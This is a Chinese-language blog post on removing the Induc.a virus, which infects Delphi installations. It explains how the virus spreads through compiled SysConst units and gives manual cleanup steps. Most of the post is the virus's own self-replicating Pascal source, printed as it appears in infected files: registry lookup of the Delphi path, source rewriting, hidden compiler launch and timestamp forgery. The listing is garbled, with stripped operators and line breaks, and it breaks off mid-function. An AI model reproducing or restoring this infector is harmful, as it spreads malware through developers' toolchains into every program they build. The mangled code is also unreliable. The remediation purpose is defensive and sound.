Delphi Virus.Win32.Induc.a解决方法

Delphi Virus.Win32.Induc.a 解决方法
 Virus.Win32.Induc.a 病毒利用了 Delphi 开发环境创建可执行文件时所采用的二步过程机制。首先,源代码被编译成中间 .dcu 文件( Delphi 已编译单元文件),然后这些中间 .dcu 文件会被关联用于创建最终的 Windows 可执行文件。
被感染的文件中都包含有以下代码:
uses windows;
 
var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of
 
string=(',
 
'function x(s:string):string;var i:integer;begin for i:=1 to
 
length(s) do if s',
 
'=#36 then s:=#39;result:=s;end;procedure re(s,d,e:string);var
 
f1,f2:textfile;',
 
'h:cardinal
 
;f:STARTUPINFO
 
;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
 
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if hDWORD(-1) then
 
begin CloseHandle',
 
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult0 then
 
exit;assignfile',
 
'(f2,d+$pas$);rewrite(f2);if ioresult0 then begin
 
closefile(f1);exit;end; while',
 
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if
 
pos($implementation$,s)0',
 
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23
 
do writeln(f2',
 
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24
 
do writeln(f2,',
 
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu
 
$),pchar(d+$bak$',
 
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f);
 
f.dwFlags:=STARTF_USESHOWWINDOW;f.',
 
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),
 
0,0,false,0,0,0,',
 
'f,p);if b then
 
WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
 
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+
 
$bak$),0,0,0,3,',
 
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3);
 
CloseHandle(h);h:=',
 
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then
 
exit;SetFileTime(h,',
 
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var
 
k:HKEY;c:array [1..255] of',
 
'char; i:cardinal; r:string; v:char; begin for v:=?$ to ?$ do if
 
RegOpenKeyEx(',
 
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),
 
0,KEY_READ,k)=0 then',
 
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then
 
begin r:=$$i:=',
 
'1; while c#0 do begin r:=r+c;inc(i);end;re(r+$\source\rtl
 
\sys\SysConst$+',
 
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe"
 
$);end;RegCloseKey(k);end; end;',
 
'begin st; end.');
 
function x(s:string):string;
 
var
 
i:integer;
 
begin
 
for i:=1 to length(s) do
这种病毒会在被感染程序运行时被激活。激活后,病毒会检查计算机上是否安装了 Delphi 开发环境系统,检查的版本包括 4.0, 5.0, 6.0 以及 7.0 。一旦发现安装了 Delphi Virus.Win32.Induc.a 病毒会对 Delphi 源文件 Sysconst.pas 进行编译,生成一个修改过的名为 Sysconst.dcu 的编译文件。
  我的 Delphi 6.0 的,首先检查 \Borland\Delphi6\Source\Rtl\Sys\SysConst.pas 这个文件是否别感染,然后删除 \Borland\Delphi6\Lib\sysconst.bak \Borland\Delphi6\Lib\ sysconst.dcu 这两个文件。在把 \Borland\Delphi6\Lib\Debug\sysconst.dcu 这个文件拷贝到原来的目录下就可以了。还要把注册表中 RootDir 值修改成别的 , 病毒就获取不到路径了。
至于已经感染的 EXE 文件,现在网上也没有针对这个病毒的专杀工具,可以用卡巴斯基修复,大部分被感染的 EXE 文件是可以被修复的。

你可能感兴趣的:(职场,休闲)